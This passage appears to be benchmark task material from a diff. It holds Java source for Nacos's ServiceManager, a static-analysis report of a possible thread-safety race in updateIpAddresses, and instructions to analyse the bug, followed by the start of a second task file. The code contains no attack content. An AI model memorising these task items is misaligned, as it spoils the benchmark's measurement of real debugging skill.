+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.alibaba.nacos.naming.core;
+
+import com.alibaba.fastjson.JSON;
+import com.alibaba.fastjson.JSONArray;
+import com.alibaba.fastjson.JSONObject;
+import com.alibaba.nacos.api.common.Constants;
+import com.alibaba.nacos.api.exception.NacosException;
+import com.alibaba.nacos.api.naming.utils.NamingUtils;
+import com.alibaba.nacos.naming.cluster.ServerListManager;
+import com.alibaba.nacos.naming.cluster.servers.Server;
+import com.alibaba.nacos.naming.consistency.ConsistencyService;
+import com.alibaba.nacos.naming.consistency.Datum;
+import com.alibaba.nacos.naming.consistency.KeyBuilder;
+import com.alibaba.nacos.naming.consistency.RecordListener;
+import com.alibaba.nacos.naming.consistency.persistent.raft.RaftPeer;
+import com.alibaba.nacos.naming.consistency.persistent.raft.RaftPeerSet;
+import com.alibaba.nacos.naming.misc.*;
+import com.alibaba.nacos.naming.push.PushService;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Sets;
+import org.apache.commons.lang3.ArrayUtils;
+import org.apache.commons.lang3.StringUtils;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.context.annotation.DependsOn;
+import org.springframework.stereotype.Component;
+import org.springframework.util.CollectionUtils;
+
+import javax.annotation.PostConstruct;
+import javax.annotation.Resource;
+import java.util.*;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.LinkedBlockingDeque;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+import java.util.stream.Collectors;
+
+/**
+ * Core manager storing all services in Nacos
+ *
+ * @author nkorange
+ */
+@Component
+@DependsOn("nacosApplicationContext")
+public class ServiceManager implements RecordListener<Service> {
+
+    /**
+     * Map<namespace, Map<group::serviceName, Service>>
+     */
+    private Map<String, Map<String, Service>> serviceMap = new ConcurrentHashMap<>();
+
+    private LinkedBlockingDeque<ServiceKey> toBeUpdatedServicesQueue = new LinkedBlockingDeque<>(1024 * 1024);
+
+    private Synchronizer synchronizer = new ServiceStatusSynchronizer();
+
+    private final Lock lock = new ReentrantLock();
+
+    @Resource(name = "consistencyDelegate")
+    private ConsistencyService consistencyService;
+
+    @Autowired
+    private SwitchDomain switchDomain;
+
+    @Autowired
+    private DistroMapper distroMapper;
+
+    @Autowired
+    private ServerListManager serverListManager;
+
+    @Autowired
+    private PushService pushService;
+
+    @Autowired
+    private RaftPeerSet raftPeerSet;
+
+    private final Object putServiceLock = new Object();
+
+    @PostConstruct
+    public void init() {
+
+        UtilsAndCommons.SERVICE_SYNCHRONIZATION_EXECUTOR.schedule(new ServiceReporter(), 60000, TimeUnit.MILLISECONDS);
+
+        UtilsAndCommons.SERVICE_UPDATE_EXECUTOR.submit(new UpdatedServiceProcessor());
+
+        try {
+            Loggers.SRV_LOG.info("listen for service meta change");
+            consistencyService.listen(KeyBuilder.SERVICE_META_KEY_PREFIX, this);
+        } catch (NacosException e) {
+            Loggers.SRV_LOG.error("listen for service meta change failed!");
+        }
+    }
+
+    public Map<String, Service> chooseServiceMap(String namespaceId) {
+        return serviceMap.get(namespaceId);
+    }
+
+    public void addUpdatedService2Queue(String namespaceId, String serviceName, String serverIP, String checksum) {
+        lock.lock();
+        try {
+            toBeUpdatedServicesQueue.offer(new ServiceKey(namespaceId, serviceName, serverIP, checksum), 5, TimeUnit.MILLISECONDS);
+        } catch (Exception e) {
+            toBeUpdatedServicesQueue.poll();
+            toBeUpdatedServicesQueue.add(new ServiceKey(namespaceId, serviceName, serverIP, checksum));
+            Loggers.SRV_LOG.error("[DOMAIN-STATUS] Failed to add service to be updatd to queue.", e);
+        } finally {
+            lock.unlock();
+        }
+    }
+
+    @Override
+    public boolean interests(String key) {
+        return KeyBuilder.matchServiceMetaKey(key) && !KeyBuilder.matchSwitchKey(key);
+    }
+
+    @Override
+    public boolean matchUnlistenKey(String key) {
+        return KeyBuilder.matchServiceMetaKey(key) && !KeyBuilder.matchSwitchKey(key);
+    }
+
+    @Override
+    public void onChange(String key, Service service) throws Exception {
+        try {
+            if (service == null) {
+                Loggers.SRV_LOG.warn("received empty push from raft, key: {}", key);
+                return;
+            }
+
+            if (StringUtils.isBlank(service.getNamespaceId())) {
+                service.setNamespaceId(Constants.DEFAULT_NAMESPACE_ID);
+            }
+
+            Loggers.RAFT.info("[RAFT-NOTIFIER] datum is changed, key: {}, value: {}", key, service);
+
+            Service oldDom = getService(service.getNamespaceId(), service.getName());
+
+            if (oldDom != null) {
+                oldDom.update(service);
+                // re-listen to handle the situation when the underlying listener is removed:
+                consistencyService.listen(KeyBuilder.buildInstanceListKey(service.getNamespaceId(), service.getName(), true), oldDom);
+                consistencyService.listen(KeyBuilder.buildInstanceListKey(service.getNamespaceId(), service.getName(), false), oldDom);
+            } else {
+                putServiceAndInit(service);
+            }
+        } catch (Throwable e) {
+            Loggers.SRV_LOG.error("[NACOS-SERVICE] error while processing service update", e);
+        }
+    }
+
+    @Override
+    public void onDelete(String key) throws Exception {
+        String namespace = KeyBuilder.getNamespace(key);
+        String name = KeyBuilder.getServiceName(key);
+        Service service = chooseServiceMap(namespace).get(name);
+        Loggers.RAFT.info("[RAFT-NOTIFIER] datum is deleted, key: {}", key);
+
+        // check again:
+        if (service != null && !service.allIPs().isEmpty()) {
+            Loggers.SRV_LOG.warn("service not empty, key: {}", key);
+            return;
+        }
+
+        if (service != null) {
+            service.destroy();
+            consistencyService.remove(KeyBuilder.buildInstanceListKey(namespace, name, true));
+
+            consistencyService.remove(KeyBuilder.buildInstanceListKey(namespace, name, false));
+
+            consistencyService.unlisten(KeyBuilder.buildServiceMetaKey(namespace, name), service);
+            Loggers.SRV_LOG.info("[DEAD-SERVICE] {}", service.toJSON());
+        }
+
+        chooseServiceMap(namespace).remove(name);
+    }
+
+    private class UpdatedServiceProcessor implements Runnable {
+        //get changed service from other server asynchronously
+        @Override
+        public void run() {
+            ServiceKey serviceKey = null;
+
+            try {
+                while (true) {
+                    try {
+                        serviceKey = toBeUpdatedServicesQueue.take();
+                    } catch (Exception e) {
+                        Loggers.EVT_LOG.error("[UPDATE-DOMAIN] Exception while taking item from LinkedBlockingDeque.");
+                    }
+
+                    if (serviceKey == null) {
+                        continue;
+                    }
+                    GlobalExecutor.submitServiceUpdate(new ServiceUpdater(serviceKey));
+                }
+            } catch (Exception e) {
+                Loggers.EVT_LOG.error("[UPDATE-DOMAIN] Exception while update service: {}", serviceKey, e);
+            }
+        }
+    }
+
+    private class ServiceUpdater implements Runnable {
+
+        String namespaceId;
+        String serviceName;
+        String serverIP;
+
+        public ServiceUpdater(ServiceKey serviceKey) {
+            this.namespaceId = serviceKey.getNamespaceId();
+            this.serviceName = serviceKey.getServiceName();
+            this.serverIP = serviceKey.getServerIP();
+        }
+
+        @Override
+        public void run() {
+            try {
+                updatedHealthStatus(namespaceId, serviceName, serverIP);
+            } catch (Exception e) {
+                Loggers.SRV_LOG.warn("[DOMAIN-UPDATER] Exception while update service: {} from {}, error: {}",
+                    serviceName, serverIP, e);
+            }
+        }
+    }
+
+    public int getPagedClusterState(String namespaceId, int startPage, int pageSize, String keyword, List<RaftPeer> raftPeerList) {
+
+        List<RaftPeer> matchList = new ArrayList<>();
+        RaftPeer localRaftPeer = raftPeerSet.local();
+        matchList.add(localRaftPeer);
+        Set<String> otherServerSet = raftPeerSet.allServersWithoutMySelf();
+        if (null != otherServerSet && otherServerSet.size() > 0) {
+            for (String server: otherServerSet) {
+                String path =  UtilsAndCommons.NACOS_NAMING_OPERATOR_CONTEXT + UtilsAndCommons.NACOS_NAMING_CLUSTER_CONTEXT + "/state";
+                Map<String, String> params = Maps.newHashMapWithExpectedSize(2);
+                try {
+                    String content = NamingProxy.reqCommon(path, params, server, false);
+                    if (!StringUtils.EMPTY.equals(content)) {
+                        RaftPeer raftPeer = JSONObject.parseObject(content, RaftPeer.class);
+                        if (null != raftPeer) {
+                            matchList.add(raftPeer);
+                        }
+                    }
+                } catch (Exception e) {
+                    Loggers.SRV_LOG.warn("[QUERY-CLUSTER-STATE] Exception while query cluster state from {}, error: {}",
+                        server, e);
+                }
+            }
+        }
+        List<RaftPeer> tempList = new ArrayList<>();
+        if (StringUtils.isNotBlank(keyword)) {
+            for (RaftPeer raftPeer : matchList) {
+                String ip = raftPeer.ip.split(":")[0];
+                if (keyword.equals(ip)) {
+                    tempList.add(raftPeer);
+                }
+            }
+            matchList = tempList;
+        }
+
+        if (pageSize >= matchList.size()) {
+            raftPeerList.addAll(matchList);
+            return matchList.size();
+        }
+
+        for (int i = 0; i < matchList.size(); i++) {
+            if (i < startPage * pageSize) {
+                continue;
+            }
+
+            raftPeerList.add(matchList.get(i));
+
+            if (raftPeerList.size() >= pageSize) {
+                break;
+            }
+        }
+
+        return matchList.size();
+    }
+
+    public RaftPeer getMySelfClusterState() {
+        return raftPeerSet.local();
+    }
+
+    public void updatedHealthStatus(String namespaceId, String serviceName, String serverIP) {
+        Message msg = synchronizer.get(serverIP, UtilsAndCommons.assembleFullServiceName(namespaceId, serviceName));
+        JSONObject serviceJson = JSON.parseObject(msg.getData());
+
+        JSONArray ipList = serviceJson.getJSONArray("ips");
+        Map<String, String> ipsMap = new HashMap<>(ipList.size());
+        for (int i = 0; i < ipList.size(); i++) {
+
+            String ip = ipList.getString(i);
+            String[] strings = ip.split("_");
+            ipsMap.put(strings[0], strings[1]);
+        }
+
+        Service service = getService(namespaceId, serviceName);
+
+        if (service == null) {
+            return;
+        }
+
+        boolean changed = false;
+
+        List<Instance> instances = service.allIPs();
+        for (Instance instance : instances) {
+
+            boolean valid = Boolean.parseBoolean(ipsMap.get(instance.toIPAddr()));
+            if (valid != instance.isHealthy()) {
+                changed = true;
+                instance.setHealthy(valid);
+                Loggers.EVT_LOG.info("{} {SYNC} IP-{} : {}@{}{}",
+                    serviceName, (instance.isHealthy() ? "ENABLED" : "DISABLED"),
+                    instance.getIp(), instance.getPort(), instance.getClusterName());
+            }
+        }
+
+        if (changed) {
+            pushService.serviceChanged(service);
+        }
+
+        StringBuilder stringBuilder = new StringBuilder();
+        List<Instance> allIps = service.allIPs();
+        for (Instance instance : allIps) {
+            stringBuilder.append(instance.toIPAddr()).append("_").append(instance.isHealthy()).append(",");
+        }
+
+        if (changed && Loggers.EVT_LOG.isDebugEnabled()) {
+            Loggers.EVT_LOG.debug("[HEALTH-STATUS-UPDATED] namespace: {}, service: {}, ips: {}",
+                service.getNamespaceId(), service.getName(), stringBuilder.toString());
+        }
+
+    }
+
+    public Set<String> getAllServiceNames(String namespaceId) {
+        return serviceMap.get(namespaceId).keySet();
+    }
+
+    public Map<String, Set<String>> getAllServiceNames() {
+
+        Map<String, Set<String>> namesMap = new HashMap<>(16);
+        for (String namespaceId : serviceMap.keySet()) {
+            namesMap.put(namespaceId, serviceMap.get(namespaceId).keySet());
+        }
+        return namesMap;
+    }
+
+    public Set<String> getAllNamespaces() {
+        return serviceMap.keySet();
+    }
+
+    public List<String> getAllServiceNameList(String namespaceId) {
+        if (chooseServiceMap(namespaceId) == null) {
+            return new ArrayList<>();
+        }
+        return new ArrayList<>(chooseServiceMap(namespaceId).keySet());
+    }
+
+    public Map<String, Set<Service>> getResponsibleServices() {
+        Map<String, Set<Service>> result = new HashMap<>(16);
+        for (String namespaceId : serviceMap.keySet()) {
+            result.put(namespaceId, new HashSet<>());
+            for (Map.Entry<String, Service> entry : serviceMap.get(namespaceId).entrySet()) {
+                Service service = entry.getValue();
+                if (distroMapper.responsible(entry.getKey())) {
+                    result.get(namespaceId).add(service);
+                }
+            }
+        }
+        return result;
+    }
+
+    public int getResponsibleServiceCount() {
+        int serviceCount = 0;
+        for (String namespaceId : serviceMap.keySet()) {
+            for (Map.Entry<String, Service> entry : serviceMap.get(namespaceId).entrySet()) {
+                if (distroMapper.responsible(entry.getKey())) {
+                    serviceCount++;
+                }
+            }
+        }
+        return serviceCount;
+    }
+
+    public int getResponsibleInstanceCount() {
+        Map<String, Set<Service>> responsibleServices = getResponsibleServices();
+        int count = 0;
+        for (String namespaceId : responsibleServices.keySet()) {
+            for (Service service : responsibleServices.get(namespaceId)) {
+                count += service.allIPs().size();
+            }
+        }
+
+        return count;
+    }
+
+    public void easyRemoveService(String namespaceId, String serviceName) throws Exception {
+
+        Service service = getService(namespaceId, serviceName);
+        if (service == null) {
+            throw new IllegalArgumentException("specified service not exist, serviceName : " + serviceName);
+        }
+
+        if (!service.allIPs().isEmpty()) {
+            throw new IllegalArgumentException("specified service has instances, serviceName : " + serviceName);
+        }
+
+        consistencyService.remove(KeyBuilder.buildServiceMetaKey(namespaceId, serviceName));
+    }
+
+    public void addOrReplaceService(Service service) throws NacosException {
+        consistencyService.put(KeyBuilder.buildServiceMetaKey(service.getNamespaceId(), service.getName()), service);
+    }
+
+    public void createEmptyService(String namespaceId, String serviceName, boolean local) throws NacosException {
+        createServiceIfAbsent(namespaceId, serviceName, local, null);
+    }
+
+    public void createServiceIfAbsent(String namespaceId, String serviceName, boolean local, Cluster cluster) throws NacosException {
+        Service service = getService(namespaceId, serviceName);
+        if (service == null) {
+
+            Loggers.SRV_LOG.info("creating empty service {}:{}", namespaceId, serviceName);
+            service = new Service();
+            service.setName(serviceName);
+            service.setNamespaceId(namespaceId);
+            service.setGroupName(NamingUtils.getGroupName(serviceName));
+            // now validate the service. if failed, exception will be thrown
+            service.setLastModifiedMillis(System.currentTimeMillis());
+            service.recalculateChecksum();
+            if (cluster != null) {
+                cluster.setService(service);
+                service.getClusterMap().put(cluster.getName(), cluster);
+            }
+            service.validate();
+
+            putServiceAndInit(service);
+            if (!local) {
+                addOrReplaceService(service);
+            }
+        }
+    }
+
+    public void putServiceIfAbsent(Service service, boolean local, Cluster cluster) throws NacosException {
+        final String namespaceId = service.getNamespaceId();
+        final String serviceName = service.getName();
+
+        if (getService(namespaceId, serviceName) != null) {
+            return;
+        }
+
+        Loggers.SRV_LOG.info("creating empty service {}:{}", namespaceId, serviceName);
+        // now validate the service. if failed, exception will be thrown
+        service.setLastModifiedMillis(System.currentTimeMillis());
+        service.recalculateChecksum();
+        if (cluster != null) {
+            cluster.setService(service);
+            service.getClusterMap().put(cluster.getName(), cluster);
+        }
+        service.validate();
+
+        putServiceAndInit(service);
+        if (!local) {
+            addOrReplaceService(service);
+        }
+    }
+
+    /**
+     * Register an instance to a service in AP mode.
+     * <p>
+     * This method creates service or cluster silently if they don't exist.
+     *
+     * @param namespaceId id of namespace
+     * @param serviceName service name
+     * @param instance    instance to register
+     * @throws Exception any error occurred in the process
+     */
+    public void registerInstance(String namespaceId, String serviceName, Instance instance) throws NacosException {
+
+        createEmptyService(namespaceId, serviceName, instance.isEphemeral());
+
+        Service service = getService(namespaceId, serviceName);
+
+        if (service == null) {
+            throw new NacosException(NacosException.INVALID_PARAM,
+                "service not found, namespace: " + namespaceId + ", service: " + serviceName);
+        }
+
+        addInstance(namespaceId, serviceName, instance.isEphemeral(), instance);
+    }
+
+    public void updateInstance(String namespaceId, String serviceName, Instance instance) throws NacosException {
+
+        Service service = getService(namespaceId, serviceName);
+
+        if (service == null) {
+            throw new NacosException(NacosException.INVALID_PARAM,
+                "service not found, namespace: " + namespaceId + ", service: " + serviceName);
+        }
+
+        if (!service.allIPs().contains(instance)) {
+            throw new NacosException(NacosException.INVALID_PARAM, "instance not exist: " + instance);
+        }
+
+        addInstance(namespaceId, serviceName, instance.isEphemeral(), instance);
+    }
+
+    public void addInstance(String namespaceId, String serviceName, boolean ephemeral, Instance... ips) throws NacosException {
+
+        String key = KeyBuilder.buildInstanceListKey(namespaceId, serviceName, ephemeral);
+
+        Service service = getService(namespaceId, serviceName);
+
+        synchronized (service) {
+            List<Instance> instanceList = addIpAddresses(service, ephemeral, ips);
+
+            Instances instances = new Instances();
+            instances.setInstanceList(instanceList);
+
+            consistencyService.put(key, instances);
+        }
+    }
+
+    public void removeInstance(String namespaceId, String serviceName, boolean ephemeral, Instance... ips) throws NacosException {
+        Service service = getService(namespaceId, serviceName);
+
+        synchronized (service) {
+            removeInstance(namespaceId, serviceName, ephemeral, service, ips);
+        }
+    }
+
+    public void removeInstance(String namespaceId, String serviceName, boolean ephemeral, Service service, Instance... ips) throws NacosException {
+
+        String key = KeyBuilder.buildInstanceListKey(namespaceId, serviceName, ephemeral);
+
+        List<Instance> instanceList = substractIpAddresses(service, ephemeral, ips);
+
+        Instances instances = new Instances();
+        instances.setInstanceList(instanceList);
+
+        consistencyService.put(key, instances);
+    }
+
+    public Instance getInstance(String namespaceId, String serviceName, String cluster, String ip, int port) {
+        Service service = getService(namespaceId, serviceName);
+        if (service == null) {
+            return null;
+        }
+
+        List<String> clusters = new ArrayList<>();
+        clusters.add(cluster);
+
+        List<Instance> ips = service.allIPs(clusters);
+        if (ips == null || ips.isEmpty()) {
+            return null;
+        }
+
+        for (Instance instance : ips) {
+            if (instance.getIp().equals(ip) && instance.getPort() == port) {
+                return instance;
+            }
+        }
+
+        return null;
+    }
+
+    public List<Instance> updateIpAddresses(Service service, String action, boolean ephemeral, Instance... ips) throws NacosException {
+
+        Datum datum = consistencyService.get(KeyBuilder.buildInstanceListKey(service.getNamespaceId(), service.getName(), ephemeral));
+
+        List<Instance> currentIPs = service.allIPs(ephemeral);
+        Map<String, Instance> currentInstances = new HashMap<>(currentIPs.size());
+        Set<Integer> currentInstanceIndexes = Sets.newHashSet();
+
+        for (Instance instance : currentIPs) {
+            currentInstances.put(instance.toIPAddr(), instance);
+            if (instance.getInstanceIndex() != null) {
+                currentInstanceIndexes.add(instance.getInstanceIndex());
+            }
+        }
+
+        Map<String, Instance> instanceMap;
+        if (datum != null) {
+            instanceMap = setValid(((Instances) datum.value).getInstanceList(), currentInstances);
+        } else {
+            instanceMap = new HashMap<>(ips.length);
+        }
+
+        for (Instance instance : ips) {
+            if (!service.getClusterMap().containsKey(instance.getClusterName())) {
+                Cluster cluster = new Cluster(instance.getClusterName(), service);
+                cluster.init();
+                service.getClusterMap().put(instance.getClusterName(), cluster);
+                Loggers.SRV_LOG.warn("cluster: {} not found, ip: {}, will create new cluster with default configuration.",
+                    instance.getClusterName(), instance.toJSON());
+            }
+
+            if (UtilsAndCommons.UPDATE_INSTANCE_ACTION_REMOVE.equals(action)) {
+                instanceMap.remove(instance.getDatumKey());
+            } else {
+                // Generate instance index
+                int instanceIndex = 0;
+                while (currentInstanceIndexes.contains(instanceIndex)) {
+                    instanceIndex++;
+                }
+                currentInstanceIndexes.add(instanceIndex);
+                instance.setInstanceIndex(instanceIndex);
+                instanceMap.put(instance.getDatumKey(), instance);
+            }
+
+        }
+
+        if (instanceMap.size() <= 0 && UtilsAndCommons.UPDATE_INSTANCE_ACTION_ADD.equals(action)) {
+            throw new IllegalArgumentException("ip list can not be empty, service: " + service.getName() + ", ip list: "
+                + JSON.toJSONString(instanceMap.values()));
+        }
+
+        return new ArrayList<>(instanceMap.values());
+    }
+
+    public List<Instance> substractIpAddresses(Service service, boolean ephemeral, Instance... ips) throws NacosException {
+        return updateIpAddresses(service, UtilsAndCommons.UPDATE_INSTANCE_ACTION_REMOVE, ephemeral, ips);
+    }
+
+    public List<Instance> addIpAddresses(Service service, boolean ephemeral, Instance... ips) throws NacosException {
+        return updateIpAddresses(service, UtilsAndCommons.UPDATE_INSTANCE_ACTION_ADD, ephemeral, ips);
+    }
+
+    private Map<String, Instance> setValid(List<Instance> oldInstances, Map<String, Instance> map) {
+
+        Map<String, Instance> instanceMap = new HashMap<>(oldInstances.size());
+        for (Instance instance : oldInstances) {
+            Instance instance1 = map.get(instance.toIPAddr());
+            if (instance1 != null) {
+                instance.setHealthy(instance1.isHealthy());
+                instance.setLastBeat(instance1.getLastBeat());
+            }
+            instanceMap.put(instance.getDatumKey(), instance);
+        }
+        return instanceMap;
+    }
+
+    public Service getService(String namespaceId, String serviceName) {
+        if (serviceMap.get(namespaceId) == null) {
+            return null;
+        }
+        return chooseServiceMap(namespaceId).get(serviceName);
+    }
+
+    public boolean containService(String namespaceId, String serviceName) {
+        return getService(namespaceId, serviceName) != null;
+    }
+
+    public void putService(Service service) {
+        if (!serviceMap.containsKey(service.getNamespaceId())) {
+            synchronized (putServiceLock) {
+                if (!serviceMap.containsKey(service.getNamespaceId())) {
+                    serviceMap.put(service.getNamespaceId(), new ConcurrentHashMap<>(16));
+                }
+            }
+        }
+        serviceMap.get(service.getNamespaceId()).put(service.getName(), service);
+    }
+
+    private void putServiceAndInit(Service service) throws NacosException {
+        putService(service);
+        service.init();
+        consistencyService.listen(KeyBuilder.buildInstanceListKey(service.getNamespaceId(), service.getName(), true), service);
+        consistencyService.listen(KeyBuilder.buildInstanceListKey(service.getNamespaceId(), service.getName(), false), service);
+        Loggers.SRV_LOG.info("[NEW-SERVICE] {}", service.toJSON());
+    }
+
+
+    public List<Service> searchServices(String namespaceId, String regex) {
+        List<Service> result = new ArrayList<>();
+        for (Map.Entry<String, Service> entry : chooseServiceMap(namespaceId).entrySet()) {
+            Service service = entry.getValue();
+            String key = service.getName() + ":" + ArrayUtils.toString(service.getOwners());
+            if (key.matches(regex)) {
+                result.add(service);
+            }
+        }
+
+        return result;
+    }
+
+    public int getServiceCount() {
+        int serviceCount = 0;
+        for (String namespaceId : serviceMap.keySet()) {
+            serviceCount += serviceMap.get(namespaceId).size();
+        }
+        return serviceCount;
+    }
+
+    public int getInstanceCount() {
+        int total = 0;
+        for (String namespaceId : serviceMap.keySet()) {
+            for (Service service : serviceMap.get(namespaceId).values()) {
+                total += service.allIPs().size();
+            }
+        }
+        return total;
+    }
+
+    public Map<String, Service> getServiceMap(String namespaceId) {
+        return serviceMap.get(namespaceId);
+    }
+
+    public int getPagedService(String namespaceId, int startPage, int pageSize, String param, String containedInstance, List<Service> serviceList, boolean hasIpCount) {
+
+        List<Service> matchList;
+
+        if (chooseServiceMap(namespaceId) == null) {
+            return 0;
+        }
+
+        if (StringUtils.isNotBlank(param)) {
+            StringJoiner regex = new StringJoiner(Constants.SERVICE_INFO_SPLITER);
+            for (String s : param.split(Constants.SERVICE_INFO_SPLITER)) {
+                regex.add(StringUtils.isBlank(s) ? Constants.ANY_PATTERN : Constants.ANY_PATTERN + s + Constants.ANY_PATTERN);
+            }
+            matchList = searchServices(namespaceId, regex.toString());
+        } else {
+            matchList = new ArrayList<>(chooseServiceMap(namespaceId).values());
+        }
+
+        if (!CollectionUtils.isEmpty(matchList) && hasIpCount) {
+            matchList = matchList.stream().filter(s -> !CollectionUtils.isEmpty(s.allIPs())).collect(Collectors.toList());
+        }
+
+        if (StringUtils.isNotBlank(containedInstance)) {
+
+            boolean contained;
+            for (int i = 0; i < matchList.size(); i++) {
+                Service service = matchList.get(i);
+                contained = false;
+                List<Instance> instances = service.allIPs();
+                for (Instance instance : instances) {
+                    if (containedInstance.contains(":")) {
+                        if (StringUtils.equals(instance.getIp() + ":" + instance.getPort(), containedInstance)) {
+                            contained = true;
+                            break;
+                        }
+                    } else {
+                        if (StringUtils.equals(instance.getIp(), containedInstance)) {
+                            contained = true;
+                            break;
+                        }
+                    }
+                }
+                if (!contained) {
+                    matchList.remove(i);
+                    i--;
+                }
+            }
+        }
+
+        if (pageSize >= matchList.size()) {
+            serviceList.addAll(matchList);
+            return matchList.size();
+        }
+
+        for (int i = 0; i < matchList.size(); i++) {
+            if (i < startPage * pageSize) {
+                continue;
+            }
+
+            serviceList.add(matchList.get(i));
+
+            if (serviceList.size() >= pageSize) {
+                break;
+            }
+        }
+
+        return matchList.size();
+    }
+
+    public static class ServiceChecksum {
+
+        public String namespaceId;
+        public Map<String, String> serviceName2Checksum = new HashMap<String, String>();
+
+        public ServiceChecksum() {
+            this.namespaceId = Constants.DEFAULT_NAMESPACE_ID;
+        }
+
+        public ServiceChecksum(String namespaceId) {
+            this.namespaceId = namespaceId;
+        }
+
+        public void addItem(String serviceName, String checksum) {
+            if (StringUtils.isEmpty(serviceName) || StringUtils.isEmpty(checksum)) {
+                Loggers.SRV_LOG.warn("[DOMAIN-CHECKSUM] serviceName or checksum is empty,serviceName: {}, checksum: {}",
+                    serviceName, checksum);
+                return;
+            }
+
+            serviceName2Checksum.put(serviceName, checksum);
+        }
+    }
+
+    private class ServiceReporter implements Runnable {
+
+        @Override
+        public void run() {
+            try {
+
+                Map<String, Set<String>> allServiceNames = getAllServiceNames();
+
+                if (allServiceNames.size() <= 0) {
+                    //ignore
+                    return;
+                }
+
+                for (String namespaceId : allServiceNames.keySet()) {
+
+                    ServiceChecksum checksum = new ServiceChecksum(namespaceId);
+
+                    for (String serviceName : allServiceNames.get(namespaceId)) {
+                        if (!distroMapper.responsible(serviceName)) {
+                            continue;
+                        }
+
+                        Service service = getService(namespaceId, serviceName);
+
+                        if (service == null) {
+                            continue;
+                        }
+
+                        service.recalculateChecksum();
+
+                        checksum.addItem(serviceName, service.getChecksum());
+                    }
+
+                    Message msg = new Message();
+
+                    msg.setData(JSON.toJSONString(checksum));
+
+                    List<Server> sameSiteServers = serverListManager.getServers();
+
+                    if (sameSiteServers == null || sameSiteServers.size() <= 0) {
+                        return;
+                    }
+
+                    for (Server server : sameSiteServers) {
+                        if (server.getKey().equals(NetUtils.localServer())) {
+                            continue;
+                        }
+                        synchronizer.send(server.getKey(), msg);
+                    }
+                }
+            } catch (Exception e) {
+                Loggers.SRV_LOG.error("[DOMAIN-STATUS] Exception while sending service status", e);
+            } finally {
+                UtilsAndCommons.SERVICE_SYNCHRONIZATION_EXECUTOR.schedule(this, switchDomain.getServiceStatusSynchronizationPeriodMillis(), TimeUnit.MILLISECONDS);
+            }
+        }
+    }
+
+    private static class ServiceKey {
+        private String namespaceId;
+        private String serviceName;
+        private String serverIP;
+        private String checksum;
+
+        public String getChecksum() {
+            return checksum;
+        }
+
+        public String getServerIP() {
+            return serverIP;
+        }
+
+        public String getServiceName() {
+            return serviceName;
+        }
+
+        public String getNamespaceId() {
+            return namespaceId;
+        }
+
+        public ServiceKey(String namespaceId, String serviceName, String serverIP, String checksum) {
+            this.namespaceId = namespaceId;
+            this.serviceName = serviceName;
+            this.serverIP = serverIP;
+            this.checksum = checksum;
+        }
+
+        @Override
+        public String toString() {
+            return JSON.toJSONString(this);
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.alibaba.nacos.naming.core.ServiceManager.updateIpAddresses` indirectly reads without synchronization from `instance.com.alibaba.nacos.api.naming.pojo.Instance.instanceIndex`. Potentially races with write in method `ServiceManager.removeInstance(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+Note that the prefix path instance has been contaminated during the execution, so the reported race on instance.com.alibaba.nacos.api.naming.pojo.Instance.instanceIndex might be a false positive.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+List ServiceManager.updateIpAddresses(Service,String,boolean,com.alibaba.nacos.naming.core.Instance[])
+
+### Procedure Id:
+com.alibaba.nacos.naming.core.ServiceManager.updateIpAddresses(com.alibaba.nacos.naming.core.Service.86cdfd6a82ea313b34dd4473d240e6b5
+
+### File:
+naming/src/main/java/com/alibaba/nacos/naming/core/ServiceManager.java
+
+### Key:
+ServiceManager.java|updateIpAddresses|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+eff77f4dc44f5e214c8b79cec6d644e4
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5088/instruction.md b/inferredbugs-5088/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..86d16df5f8c74382ebccb2a402a15c8c5022f99b
--- /dev/null
+++ b/inferredbugs-5088/instruction.md
@@ -0,0 +1,229 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** nacos
+**Bug ID:** 21
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 1999-2018 Alibaba Group Holding Ltd.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.alibaba.nacos.core.utils;
+
+import com.alibaba.nacos.common.util.IoUtils;
+import com.sun.management.OperatingSystemMXBean;
+import org.apache.commons.lang3.StringUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.lang.management.ManagementFactory;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import static com.alibaba.nacos.core.utils.Constants.FUNCTION_MODE_PROPERTY_NAME;
+import static com.alibaba.nacos.core.utils.Constants.STANDALONE_MODE_PROPERTY_NAME;
